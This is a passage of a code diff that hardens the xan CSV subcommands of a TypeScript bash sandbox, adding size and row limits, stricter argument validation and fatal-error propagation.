   // xan rename NEW_NAMES [-s cols] FILE
   // If -s is provided, rename specific columns
@@ -156,12 +164,16 @@ export async function cmdRename(
     return newRow;
   });
 
-  return { stdout: formatCsv(newHeaders, newData), stderr: "", exitCode: 0 };
+  return {
+    stdout: formatCsv(newHeaders, newData, ctx),
+    stderr: "",
+    exitCode: 0,
+  };
 }
 
 export async function cmdEnum(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let colName = "index";
   const filteredArgs: string[] = [];
@@ -187,5 +199,9 @@ export async function cmdEnum(
     return newRow;
   });
 
-  return { stdout: formatCsv(newHeaders, newData), stderr: "", exitCode: 0 };
+  return {
+    stdout: formatCsv(newHeaders, newData, ctx),
+    stderr: "",
+    exitCode: 0,
+  };
 }
diff --git a/packages/just-bash/src/commands/xan/xan-core.ts b/packages/just-bash/src/commands/xan/xan-core.ts
index db12d0aa..58b08033 100644
--- a/packages/just-bash/src/commands/xan/xan-core.ts
+++ b/packages/just-bash/src/commands/xan/xan-core.ts
@@ -2,12 +2,12 @@
  * Core xan commands: headers, count, head, tail, slice, reverse
  */
 
-import type { CommandContext, ExecResult } from "../../types.js";
+import type { ExecResult, RuntimeCommandContext } from "../../types.js";
 import { formatCsv, readCsvInput } from "./csv.js";
 
 export async function cmdHeaders(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   const justNames = args.includes("-j") || args.includes("--just-names");
   const { headers, error } = await readCsvInput(
@@ -25,7 +25,7 @@ export async function cmdHeaders(
 
 export async function cmdCount(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   const { data, error } = await readCsvInput(args, ctx);
   if (error) return error;
@@ -34,7 +34,7 @@ export async function cmdCount(
 
 export async function cmdHead(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let n = 10;
   const filteredArgs: string[] = [];
@@ -50,12 +50,12 @@ export async function cmdHead(
   if (error) return error;
 
   const rows = data.slice(0, n);
-  return { stdout: formatCsv(headers, rows), stderr: "", exitCode: 0 };
+  return { stdout: formatCsv(headers, rows, ctx), stderr: "", exitCode: 0 };
 }
 
 export async function cmdTail(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let n = 10;
   const filteredArgs: string[] = [];
@@ -71,12 +71,12 @@ export async function cmdTail(
   if (error) return error;
 
   const rows = data.slice(-n);
-  return { stdout: formatCsv(headers, rows), stderr: "", exitCode: 0 };
+  return { stdout: formatCsv(headers, rows, ctx), stderr: "", exitCode: 0 };
 }
 
 export async function cmdSlice(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let start: number | undefined;
   let end: number | undefined;
@@ -110,16 +110,16 @@ export async function cmdSlice(
   }
 
   const rows = data.slice(startIdx, endIdx);
-  return { stdout: formatCsv(headers, rows), stderr: "", exitCode: 0 };
+  return { stdout: formatCsv(headers, rows, ctx), stderr: "", exitCode: 0 };
 }
 
 export async function cmdReverse(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   const { headers, data, error } = await readCsvInput(args, ctx);
   if (error) return error;
 
   const rows = [...data].reverse();
-  return { stdout: formatCsv(headers, rows), stderr: "", exitCode: 0 };
+  return { stdout: formatCsv(headers, rows, ctx), stderr: "", exitCode: 0 };
 }
diff --git a/packages/just-bash/src/commands/xan/xan-data.ts b/packages/just-bash/src/commands/xan/xan-data.ts
index fcb11702..1a3212cc 100644
--- a/packages/just-bash/src/commands/xan/xan-data.ts
+++ b/packages/just-bash/src/commands/xan/xan-data.ts
@@ -3,14 +3,22 @@
  * Commands that exist in real xan
  */
 
-import Papa from "papaparse";
-import { decodeBytesToUtf8 } from "../../encoding.js";
-import type { CommandContext, ExecResult } from "../../types.js";
+import { BoundedStringBuilder } from "../../bounded-builder.js";
+import { decodeBytesToUtf8, utf8ByteLength } from "../../encoding.js";
+import { rethrowFatalExecutionError } from "../../fatal-execution-error.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import type { ExecResult, RuntimeCommandContext } from "../../types.js";
+import { formatJsonValue } from "../query-engine/json-output.js";
+import { sanitizeParsedData } from "../query-engine/safe-object.js";
+import type { QueryValue } from "../query-engine/value-operations.js";
 import {
   type CsvData,
   type CsvRow,
   createSafeRow,
+  DerivedCsvBudget,
   formatCsv,
+  formatCsvRows,
+  parseCsvRows,
   readCsvInput,
   safeSetRow,
 } from "./csv.js";
@@ -22,7 +30,7 @@ import {
  */
 export async function cmdTranspose(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   const fileArgs = args.filter((a) => !a.startsWith("-"));
 
@@ -35,7 +43,7 @@ export async function cmdTranspose(
     const newData: CsvData = headers.map((h) => ({ column: h }));
     // xan emits text; the pipeline handles encoding.
     return {
-      stdout: formatCsv(newHeaders, newData),
+      stdout: formatCsv(newHeaders, newData, ctx),
       stderr: "",
       exitCode: 0,
     };
@@ -47,6 +55,13 @@ export async function cmdTranspose(
     firstCol,
     ...data.map((row, i) => String(row[firstCol] ?? `row_${i}`)),
   ];
+  if (new Set(newHeaders).size !== newHeaders.length) {
+    return {
+      stdout: "",
+      stderr: "xan transpose: duplicate output headers\n",
+      exitCode: 1,
+    };
+  }
 
   // Each remaining column becomes a row
   const newData: CsvData = [];
@@ -62,7 +77,7 @@ export async function cmdTranspose(
 
   // xan emits text; the pipeline handles encoding.
   return {
-    stdout: formatCsv(newHeaders, newData),
+    stdout: formatCsv(newHeaders, newData, ctx),
     stderr: "",
     exitCode: 0,
   };
@@ -75,7 +90,7 @@ export async function cmdTranspose(
  */
 export async function cmdShuffle(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let seed: number | null = null;
   const fileArgs: string[] = [];
@@ -108,7 +123,7 @@ export async function cmdShuffle(
 
   // xan emits text; the pipeline handles encoding.
   return {
-    stdout: formatCsv(headers, shuffled),
+    stdout: formatCsv(headers, shuffled, ctx),
     stderr: "",
     exitCode: 0,
   };
@@ -122,7 +137,7 @@ export async function cmdShuffle(
  */
 export async function cmdFixlengths(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let targetLen: number | null = null;
   let defaultValue = "";
@@ -131,7 +146,24 @@ export async function cmdFixlengths(
   for (let i = 0; i < args.length; i++) {
     const arg = args[i];
     if ((arg === "-l" || arg === "--length") && i + 1 < args.length) {
-      targetLen = Number.parseInt(args[++i], 10);
+      const rawLength = args[++i];
+      if (!/^[1-9]\d*$/.test(rawLength)) {
+        return {
+          stdout: "",
+          stderr: "xan fixlengths: length must be a positive safe integer\n",
+          exitCode: 1,
+        };
+      }
+      targetLen = Number(rawLength);
+      if (
+        !Number.isSafeInteger(targetLen) ||
+        targetLen > ctx.limits.maxArrayElements
+      ) {
+        throw new ExecutionLimitError(
+          `xan fixlengths: column limit exceeded (${ctx.limits.maxArrayElements})`,
+          "array_elements",
+        );
+      }
     } else if ((arg === "-d" || arg === "--default") && i + 1 < args.length) {
       defaultValue = args[++i];
     } else if (!arg.startsWith("-")) {
@@ -149,7 +181,8 @@ export async function cmdFixlengths(
     try {
       const path = ctx.fs.resolvePath(ctx.cwd, file);
       input = await ctx.fs.readFile(path);
-    } catch {
+    } catch (error) {
+      rethrowFatalExecutionError(error);
       return {
         stdout: "",
         stderr: `xan fixlengths: ${file}: No such file or directory\n`,
@@ -158,35 +191,36 @@ export async function cmdFixlengths(
     }
   }
 
-  // Parse without headers to get raw rows
-  const result = Papa.parse<string[]>(input.trim(), {
-    header: false,
-    skipEmptyLines: true,
+  const rows = parseCsvRows(input, {
+    maxStringLength: Math.min(
+      ctx.limits.maxInputBytes,
+      ctx.limits.maxStringLength,
+    ),
+    maxArrayElements: ctx.limits.maxArrayElements,
+    maxRows: ctx.limits.maxCsvRows,
+    maxCells: ctx.limits.maxCsvCells,
   });
-  const rows = result.data;
 
   if (rows.length === 0) {
     return { stdout: "", stderr: "", exitCode: 0 };
   }
 
   // Determine target length
-  const maxLen = Math.max(...rows.map((r) => r.length));
+  let maxLen = 0;
+  for (const row of rows) maxLen = Math.max(maxLen, row.length);
   const len = targetLen ?? maxLen;
+  const budget = new DerivedCsvBudget(ctx, "xan fixlengths");
+  budget.addRows(rows.length, len);
 
   // Fix each row
-  const fixed = rows.map((row) => {
-    if (row.length === len) return row;
-    if (row.length < len) {
-      return [...row, ...Array(len - row.length).fill(defaultValue)];
-    }
-    return row.slice(0, len);
-  });
+  for (const row of rows) {
+    if (row.length > len) row.length = len;
+    while (row.length < len) row.push(defaultValue);
+  }
 
-  // Output as CSV
-  const output = Papa.unparse(fixed);
   // xan emits text; the pipeline handles encoding.
   return {
-    stdout: `${output.replace(/\r\n/g, "\n")}\n`,
+    stdout: formatCsvRows(rows, ctx),
     stderr: "",
     exitCode: 0,
   };
@@ -203,19 +237,39 @@ export async function cmdFixlengths(
  */
 export async function cmdSplit(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let numParts: number | null = null;
   let partSize: number | null = null;
   let outputDir = ".";
   const fileArgs: string[] = [];
 
+  const parsePositiveInteger = (value: string): number | null => {
+    if (!/^[1-9]\d*$/.test(value)) return null;
+    const parsed = Number(value);
+    return Number.isSafeInteger(parsed) ? parsed : null;
+  };
+
   for (let i = 0; i < args.length; i++) {
     const arg = args[i];
     if ((arg === "-c" || arg === "--chunks") && i + 1 < args.length) {
-      numParts = Number.parseInt(args[++i], 10);
+      numParts = parsePositiveInteger(args[++i]);
+      if (numParts === null) {
+        return {
+          stdout: "",
+          stderr: "xan split: chunk count must be a positive safe integer\n",
+          exitCode: 1,
+        };
+      }
     } else if ((arg === "-S" || arg === "--size") && i + 1 < args.length) {
-      partSize = Number.parseInt(args[++i], 10);
+      partSize = parsePositiveInteger(args[++i]);
+      if (partSize === null) {
+        return {
+          stdout: "",
+          stderr: "xan split: chunk size must be a positive safe integer\n",
+          exitCode: 1,
+        };
+      }
     } else if ((arg === "-o" || arg === "--output") && i + 1 < args.length) {
       outputDir = args[++i];
     } else if (!arg.startsWith("-")) {
@@ -234,47 +288,55 @@ export async function cmdSplit(
   const { headers, data, error } = await readCsvInput(fileArgs, ctx);
   if (error) return error;
 
-  // Calculate splits
-  const parts: CsvData[] = [];
-  if (numParts) {
-    const size = Math.ceil(data.length / numParts);
-    for (let i = 0; i < numParts; i++) {
-      parts.push(data.slice(i * size, (i + 1) * size));
-    }
-  } else if (partSize) {
-    for (let i = 0; i < data.length; i += partSize) {
-      parts.push(data.slice(i, i + partSize));
-    }
+  const chunkSize = numParts
+    ? Math.ceil(data.length / numParts)
+    : (partSize as number);
+  const partCount = chunkSize === 0 ? 0 : Math.ceil(data.length / chunkSize);
+  if (partCount > ctx.limits.maxArrayElements) {
+    throw new ExecutionLimitError(
+      `xan split: output part limit exceeded (${ctx.limits.maxArrayElements})`,
+      "array_elements",
+    );
   }
 
-  // Filter out empty parts
-  const nonEmptyParts = parts.filter((p) => p.length > 0);
-
   // In sandbox, we can't write multiple files, so output as concatenated CSV with markers
   // or write to virtual filesystem
   const baseName = fileArgs[0]?.replace(/\.csv$/, "") || "part";
 
   try {
     const outPath = ctx.fs.resolvePath(ctx.cwd, outputDir);
-    for (let i = 0; i < nonEmptyParts.length; i++) {
+    for (let i = 0; i < partCount; i++) {
+      const start = i * chunkSize;
+      const end = Math.min(start + chunkSize, data.length);
+      ctx.executionScope?.consumeWork(end - start, "xan split rows");
       const fileName = `${baseName}_${String(i + 1).padStart(3, "0")}.csv`;
       const filePath = ctx.fs.resolvePath(outPath, fileName);
-      await ctx.fs.writeFile(filePath, formatCsv(headers, nonEmptyParts[i]));
+      await ctx.fs.writeFile(
+        filePath,
+        formatCsv(headers, data.slice(start, end), ctx),
+      );
     }
     // xan emits text; the pipeline handles encoding.
     return {
-      stdout: `Split into ${nonEmptyParts.length} parts\n`,
+      stdout: `Split into ${partCount} parts\n`,
       stderr: "",
       exitCode: 0,
     };
-  } catch {
+  } catch (error) {
+    rethrowFatalExecutionError(error);
     // If we can't write files, output info about what would be created
-    const output = nonEmptyParts
-      .map((p, i) => `Part ${i + 1}: ${p.length} rows`)
-      .join("\n");
+    const output = new BoundedStringBuilder(
+      ctx.limits.maxOutputSize,
+      "xan split",
+    );
+    for (let i = 0; i < partCount; i++) {
+      const start = i * chunkSize;
+      const end = Math.min(start + chunkSize, data.length);
+      output.append(`Part ${i + 1}: ${end - start} rows\n`);
+    }
     // xan emits text; the pipeline handles encoding.
     return {
-      stdout: `${output}\n`,
+      stdout: output.build(),
       stderr: "",
       exitCode: 0,
     };
@@ -303,7 +365,7 @@ function shortHash(s: string): string {
  */
 export async function cmdPartition(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let column = "";
   let outputDir = ".";
@@ -343,7 +405,9 @@ export async function cmdPartition(
 
   // Group by column value
   const groups = new Map<string, CsvData>();
+  const budget = new DerivedCsvBudget(ctx, "xan partition");
   for (const row of data) {
+    budget.addRow(headers.length);
     const val = String(row[column] ?? "");
     if (!groups.has(val)) {
       groups.set(val, []);
@@ -388,7 +452,7 @@ export async function cmdPartition(
       const fileName = finalName.get(val);
       if (!fileName) continue;
       const filePath = ctx.fs.resolvePath(outPath, fileName);
-      await ctx.fs.writeFile(filePath, formatCsv(headers, rows));
+      await ctx.fs.writeFile(filePath, formatCsv(headers, rows, ctx));
     }
     // xan emits text; the pipeline handles encoding.
     return {
@@ -396,14 +460,19 @@ export async function cmdPartition(
       stderr: "",
       exitCode: 0,
     };
-  } catch {
+  } catch (error) {
+    rethrowFatalExecutionError(error);
     // Output summary if can't write
-    const output = Array.from(groups.entries())
-      .map(([val, rows]) => `${val}: ${rows.length} rows`)
-      .join("\n");
+    const output = new BoundedStringBuilder(
+      ctx.limits.maxOutputSize,
+      "xan partition",
+    );
+    for (const [val, rows] of groups) {
+      output.append(`${val}: ${rows.length} rows\n`);
+    }
     // xan emits text; the pipeline handles encoding.
     return {
-      stdout: `${output}\n`,
+      stdout: output.build(),
       stderr: "",
       exitCode: 0,
     };
@@ -417,7 +486,7 @@ export async function cmdPartition(
  */
 export async function cmdTo(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   if (args.length === 0) {
     return {
@@ -447,18 +516,29 @@ export async function cmdTo(
  */
 async function cmdToJson(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   const fileArgs = args.filter((a) => !a.startsWith("-"));
 
   const { data, error } = await readCsvInput(fileArgs, ctx);
   if (error) return error;
 
-  // Real xan always pretty prints
-  const json = JSON.stringify(data, null, 2);
+  const budget = new DerivedCsvBudget(ctx, "xan to json");
+  budget.addRows(
+    data.length,
+    data.length > 0 ? Object.keys(data[0]).length : 0,
+  );
+  if (ctx.limits.maxOutputSize < 1) {
+    throw new ExecutionLimitError(
+      "xan to json: output size limit exceeded (0 bytes)",
+      "output_size",
+    );
+  }
+  const maxBytes = ctx.limits.maxOutputSize - 1;
+  const output = formatJsonValue(data as QueryValue, maxBytes);
   // xan emits text; the pipeline handles encoding.
   return {
-    stdout: `${json}\n`,
+    stdout: `${output}\n`,
     stderr: "",
     exitCode: 0,
   };
@@ -471,7 +551,7 @@ async function cmdToJson(
  */
 export async function cmdFrom(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let format = "";
   const fileArgs: string[] = [];
@@ -510,7 +590,7 @@ export async function cmdFrom(
  */
 async function cmdFromJson(
   fileArgs: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   const file = fileArgs[0];
   let input: string;
@@ -521,7 +601,8 @@ async function cmdFromJson(
     try {
       const path = ctx.fs.resolvePath(ctx.cwd, file);
       input = await ctx.fs.readFile(path);
-    } catch {
+    } catch (error) {
+      rethrowFatalExecutionError(error);
       return {
         stdout: "",
         stderr: `xan from: ${file}: No such file or directory\n`,
@@ -531,7 +612,20 @@ async function cmdFromJson(
   }
 
   try {
-    const data = JSON.parse(input.trim());
+    const maxInputBytes = Math.min(
+      ctx.limits.maxInputBytes,
+      ctx.limits.maxStringLength,
+    );
+    if (utf8ByteLength(input) > maxInputBytes) {
+      throw new ExecutionLimitError(
+        `xan from: input size limit exceeded (${maxInputBytes} bytes)`,
+        "string_length",
+      );
+    }
+    const data = sanitizeParsedData(JSON.parse(input.trim()), {
+      maxDepth: ctx.limits.maxQueryDepth,
+      maxElements: ctx.limits.maxQueryElements,
+    });
     if (!Array.isArray(data)) {
       return {
         stdout: "",
@@ -552,35 +646,74 @@ async function cmdFromJson(
     // Check if array of arrays or array of objects
     if (Array.isArray(data[0])) {
       // Array of arrays - first row is headers
-      const [headers, ...rows] = data as unknown[][];
-      const csvData: CsvData = rows.map((row) => {
+      const arrays = data as unknown[][];
+      const headers = arrays[0];
+      if (headers.length > ctx.limits.maxArrayElements) {
+        throw new ExecutionLimitError(
+          `xan from: column limit exceeded (${ctx.limits.maxArrayElements})`,
+          "array_elements",
+        );
+      }
+      const headerNames = headers.map(String);
+      const budget = new DerivedCsvBudget(ctx, "xan from json");
+      budget.addRows(arrays.length - 1, headerNames.length);
+      const csvData: CsvData = [];
+      for (let rowIndex = 1; rowIndex < arrays.length; rowIndex++) {
+        const row = arrays[rowIndex];
+        if (!Array.isArray(row)) {
+          return {
+            stdout: "",
+            stderr: "xan from: JSON rows must all have the same shape\n",
+            exitCode: 1,
+          };
+        }
         const obj: CsvRow = createSafeRow();
-        for (let i = 0; i < (headers as string[]).length; i++) {
+        for (let i = 0; i < headerNames.length; i++) {
           safeSetRow(
             obj,
-            (headers as string[])[i],
+            headerNames[i],
             row[i] as string | number | boolean | null,
           );
         }
-        return obj;
-      });
+        csvData.push(obj);
+      }
       // xan emits text; the pipeline handles encoding.
       return {
-        stdout: formatCsv(headers as string[], csvData),
+        stdout: formatCsv(headerNames, csvData, ctx),
         stderr: "",
         exitCode: 0,
       };
     }
 
     // Array of objects - real xan outputs columns in alphabetical order
-    const headers = Object.keys(data[0] as object).sort();
+    const first = data[0];
+    if (!first || typeof first !== "object" || Array.isArray(first)) {
+      return {
+        stdout: "",
+        stderr: "xan from: JSON rows must be arrays or objects\n",
+        exitCode: 1,
+      };
+    }
+    const headers = Object.keys(first).sort();
+    const budget = new DerivedCsvBudget(ctx, "xan from json");
+    budget.addRows(data.length, headers.length);
+    for (const row of data) {
+      if (!row || typeof row !== "object" || Array.isArray(row)) {
+        return {
+          stdout: "",
+          stderr: "xan from: JSON rows must all have the same shape\n",
+          exitCode: 1,
+        };
+      }
+    }
     // xan emits text; the pipeline handles encoding.
     return {
-      stdout: formatCsv(headers, data as CsvData),
+      stdout: formatCsv(headers, data as CsvData, ctx),
       stderr: "",
       exitCode: 0,
     };
-  } catch {
+  } catch (error) {
+    rethrowFatalExecutionError(error);
     return {
       stdout: "",
       stderr: "xan from: invalid JSON input\n",
diff --git a/packages/just-bash/src/commands/xan/xan-filter.ts b/packages/just-bash/src/commands/xan/xan-filter.ts
index 3364f0fd..d5a716b6 100644
--- a/packages/just-bash/src/commands/xan/xan-filter.ts
+++ b/packages/just-bash/src/commands/xan/xan-filter.ts
@@ -2,15 +2,16 @@
  * Filter and sort commands: filter, sort, dedup, top
  */
 
-import type { CommandContext, ExecResult } from "../../types.js";
+import type { ExecResult, RuntimeCommandContext } from "../../types.js";
 import { showHelp } from "../help.js";
 import { type EvaluateOptions, evaluate } from "../query-engine/index.js";
 import { parseMoonbladeExpr } from "./column-selection.js";
 import { type CsvData, formatCsv, readCsvInput } from "./csv.js";
+import { getMoonbladeLimits } from "./moonblade-parser.js";
 
 export async function cmdFilter(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let invert = false;
   let limit = 0; // 0 means no limit
@@ -57,11 +58,14 @@ export async function cmdFilter(
 
   const evalOptions: EvaluateOptions = {
     limits: ctx.limits
-      ? { maxIterations: ctx.limits.maxJqIterations }
+      ? {
+          maxIterations: ctx.limits.maxJqIterations,
+          maxStringLength: ctx.limits.maxStringLength,
+        }
       : undefined,
   };
 
-  const ast = parseMoonbladeExpr(expr);
+  const ast = parseMoonbladeExpr(expr, getMoonbladeLimits(ctx));
   const filtered: CsvData = [];
   for (const row of data) {
     if (limit > 0 && filtered.length >= limit) break;
@@ -72,12 +76,12 @@ export async function cmdFilter(
     }
   }
 
-  return { stdout: formatCsv(headers, filtered), stderr: "", exitCode: 0 };
+  return { stdout: formatCsv(headers, filtered, ctx), stderr: "", exitCode: 0 };
 }
 
 export async function cmdSort(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let column = "";
   let numeric = false;
@@ -122,12 +126,12 @@ export async function cmdSort(
     return reverse ? -cmp : cmp;
   });
 
-  return { stdout: formatCsv(headers, sorted), stderr: "", exitCode: 0 };
+  return { stdout: formatCsv(headers, sorted, ctx), stderr: "", exitCode: 0 };
 }
 
 export async function cmdDedup(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let column = "";
   const fileArgs: string[] = [];
@@ -152,12 +156,12 @@ export async function cmdDedup(
     return true;
   });
 
-  return { stdout: formatCsv(headers, deduped), stderr: "", exitCode: 0 };
+  return { stdout: formatCsv(headers, deduped, ctx), stderr: "", exitCode: 0 };
 }
 
 export async function cmdTop(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let n = 10;
   let column = "";
@@ -199,5 +203,5 @@ export async function cmdTop(
   });
 
   const rows = sorted.slice(0, n);
-  return { stdout: formatCsv(headers, rows), stderr: "", exitCode: 0 };
+  return { stdout: formatCsv(headers, rows, ctx), stderr: "", exitCode: 0 };
 }
diff --git a/packages/just-bash/src/commands/xan/xan-map.ts b/packages/just-bash/src/commands/xan/xan-map.ts
index 8b802fff..4f7f8463 100644
--- a/packages/just-bash/src/commands/xan/xan-map.ts
+++ b/packages/just-bash/src/commands/xan/xan-map.ts
@@ -2,23 +2,30 @@
  * Map command: add computed columns
  */
 
-import type { CommandContext, ExecResult } from "../../types.js";
+import { checkedAdd } from "../../bounded-builder.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import type { ExecResult, RuntimeCommandContext } from "../../types.js";
 import { type EvaluateOptions, evaluate } from "../query-engine/index.js";
 import { nullPrototypeCopy } from "../query-engine/safe-object.js";
 import {
   type CsvData,
   type CsvRow,
+  DerivedCsvBudget,
   formatCsv,
   readCsvInput,
   safeSetRow,
   toSafeRow,
 } from "./csv.js";
-import { parseNamedExpressions } from "./moonblade-parser.js";
+import {
+  getMoonbladeLimits,
+  parseMoonblade,
+  parseNamedExpressions,
+} from "./moonblade-parser.js";
 import { moonbladeToJq } from "./moonblade-to-jq.js";
 
 export async function cmdMap(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let mapExpr = "";
   let overwrite = false;
@@ -52,15 +59,19 @@ export async function cmdMap(
   if (error) return error;
 
   // Parse moonblade expressions
-  const namedExprs = parseNamedExpressions(mapExpr);
+  const moonbladeLimits = getMoonbladeLimits(ctx);
+  const namedExprs = parseNamedExpressions(mapExpr, moonbladeLimits);
   const specs = namedExprs.map(({ expr, name }) => ({
     alias: typeof name === "string" ? name : name[0],
-    ast: moonbladeToJq(expr),
+    ast: moonbladeToJq(expr, true, moonbladeLimits),
   }));
 
   const evalOptions: EvaluateOptions = {
     limits: ctx.limits
-      ? { maxIterations: ctx.limits.maxJqIterations }
+      ? {
+          maxIterations: ctx.limits.maxJqIterations,
+          maxStringLength: ctx.limits.maxStringLength,
+        }
       : undefined,
   };
 
@@ -71,14 +82,31 @@ export async function cmdMap(
     newHeaders = [...headers];
     for (const spec of specs) {
       if (!headers.includes(spec.alias)) {
+        if (newHeaders.length >= ctx.limits.maxArrayElements) {
+          throw new ExecutionLimitError(
+            `xan map: output column limit exceeded (${ctx.limits.maxArrayElements})`,
+            "array_elements",
+          );
+        }
         newHeaders.push(spec.alias);
       }
     }
   } else {
+    if (
+      checkedAdd(headers.length, specs.length, "xan map") >
+      ctx.limits.maxArrayElements
+    ) {
+      throw new ExecutionLimitError(
+        `xan map: output column limit exceeded (${ctx.limits.maxArrayElements})`,
+        "array_elements",
+      );
+    }
     newHeaders = [...headers, ...specs.map((s) => s.alias)];
   }
 
   const newData: CsvData = [];
+  const resultBudget = new DerivedCsvBudget(ctx, "xan map");
+  if (!filter) resultBudget.addRows(data.length, newHeaders.length);
   for (let rowIndex = 0; rowIndex < data.length; rowIndex++) {
     const row = data[rowIndex];
     const newRow: CsvRow = toSafeRow(row);
@@ -90,6 +118,7 @@ export async function cmdMap(
     });
 
     for (const spec of specs) {
+      resultBudget.consumeWork();
       const results = evaluate(rowWithIndex, spec.ast, evalOptions);
       const value = results.length > 0 ? results[0] : null;
 
@@ -103,11 +132,16 @@ export async function cmdMap(
     }
 
     if (!skip) {
+      if (filter) resultBudget.addRow(newHeaders.length);
       newData.push(newRow);
     }
   }
 
-  return { stdout: formatCsv(newHeaders, newData), stderr: "", exitCode: 0 };
+  return {
+    stdout: formatCsv(newHeaders, newData, ctx),
+    stderr: "",
+    exitCode: 0,
+  };
 }
 
 /**
@@ -117,7 +151,7 @@ export async function cmdMap(
  */
 export async function cmdTransform(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let targetCol = "";
   let transformExpr = "";
@@ -166,14 +200,20 @@ export async function cmdTransform(
   }
 
   // Parse the expression
+  const moonbladeLimits = getMoonbladeLimits(ctx);
   const ast = moonbladeToJq(
-    parseNamedExpressions(transformExpr)[0]?.expr ||
-      require("./moonblade-parser.js").parseMoonblade(transformExpr),
+    parseNamedExpressions(transformExpr, moonbladeLimits)[0]?.expr ||
+      parseMoonblade(transformExpr, moonbladeLimits),
+    true,
+    moonbladeLimits,
   );
 
   const evalOptions: EvaluateOptions = {
     limits: ctx.limits
-      ? { maxIterations: ctx.limits.maxJqIterations }
+      ? {
+          maxIterations: ctx.limits.maxJqIterations,
+          maxStringLength: ctx.limits.maxStringLength,
+        }
       : undefined,
   };
 
@@ -187,10 +227,13 @@ export async function cmdTransform(
   });
 
   const newData: CsvData = [];
+  const resultBudget = new DerivedCsvBudget(ctx, "xan transform");
+  resultBudget.addRows(data.length, newHeaders.length);
   for (const row of data) {
     const newRow: CsvRow = toSafeRow(row);
 
     for (let i = 0; i < targetCols.length; i++) {
+      resultBudget.consumeWork();
       const col = targetCols[i];
       // For implicit expressions like "upper", wrap in function call
       // The _ variable represents the current column value
@@ -211,5 +254,9 @@ export async function cmdTransform(
     newData.push(newRow);
   }
 
-  return { stdout: formatCsv(newHeaders, newData), stderr: "", exitCode: 0 };
+  return {
+    stdout: formatCsv(newHeaders, newData, ctx),
+    stderr: "",
+    exitCode: 0,
+  };
 }
diff --git a/packages/just-bash/src/commands/xan/xan-reshape.ts b/packages/just-bash/src/commands/xan/xan-reshape.ts
index 57b30277..e9ddf3ba 100644
--- a/packages/just-bash/src/commands/xan/xan-reshape.ts
+++ b/packages/just-bash/src/commands/xan/xan-reshape.ts
@@ -2,11 +2,14 @@
  * Reshape commands: explode, implode, flatmap, pivot, join, merge
  */
 
-import type { CommandContext, ExecResult } from "../../types.js";
+import { boundedJoin, checkedAdd } from "../../bounded-builder.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import type { ExecResult, RuntimeCommandContext } from "../../types.js";
 import {
   type CsvData,
   type CsvRow,
   createSafeRow,
+  DerivedCsvBudget,
   formatCsv,
   readCsvInput,
   safeSetRow,
@@ -22,7 +25,7 @@ import {
  */
 export async function cmdExplode(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let column = "";
   let separator = "|";
@@ -71,6 +74,7 @@ export async function cmdExplode(
     : headers;
   const targetCol = rename || column;
   const newData: CsvData = [];
+  const resultBudget = new DerivedCsvBudget(ctx, "xan explode");
 
   for (const row of data) {
     const value = row[column];
@@ -78,6 +82,7 @@ export async function cmdExplode(
 
     if (strValue === "") {
       if (!dropEmpty) {
+        resultBudget.addRow(newHeaders.length);
         const newRow: CsvRow = toSafeRow(row);
         if (rename) {
           delete newRow[column];
@@ -86,19 +91,32 @@ export async function cmdExplode(
         newData.push(newRow);
       }
     } else {
-      const parts = strValue.split(separator);
-      for (const part of parts) {
+      let start = 0;
+      while (start <= strValue.length) {
+        resultBudget.addRow(newHeaders.length);
+        const next =
+          separator === "" ? start + 1 : strValue.indexOf(separator, start);
+        const end = next === -1 ? strValue.length : next;
+        const part = strValue.slice(start, end);
         const newRow: CsvRow = toSafeRow(row);
         if (rename) {
           delete newRow[column];
         }
         safeSetRow(newRow, targetCol, part);
         newData.push(newRow);
+        if (next === -1 || (separator === "" && start >= strValue.length - 1)) {
+          break;
+        }
+        start = separator === "" ? next : next + separator.length;
       }
     }
   }
 
-  return { stdout: formatCsv(newHeaders, newData), stderr: "", exitCode: 0 };
+  return {
+    stdout: formatCsv(newHeaders, newData, ctx),
+    stderr: "",
+    exitCode: 0,
+  };
 }
 
 /**
@@ -109,7 +127,7 @@ export async function cmdExplode(
  */
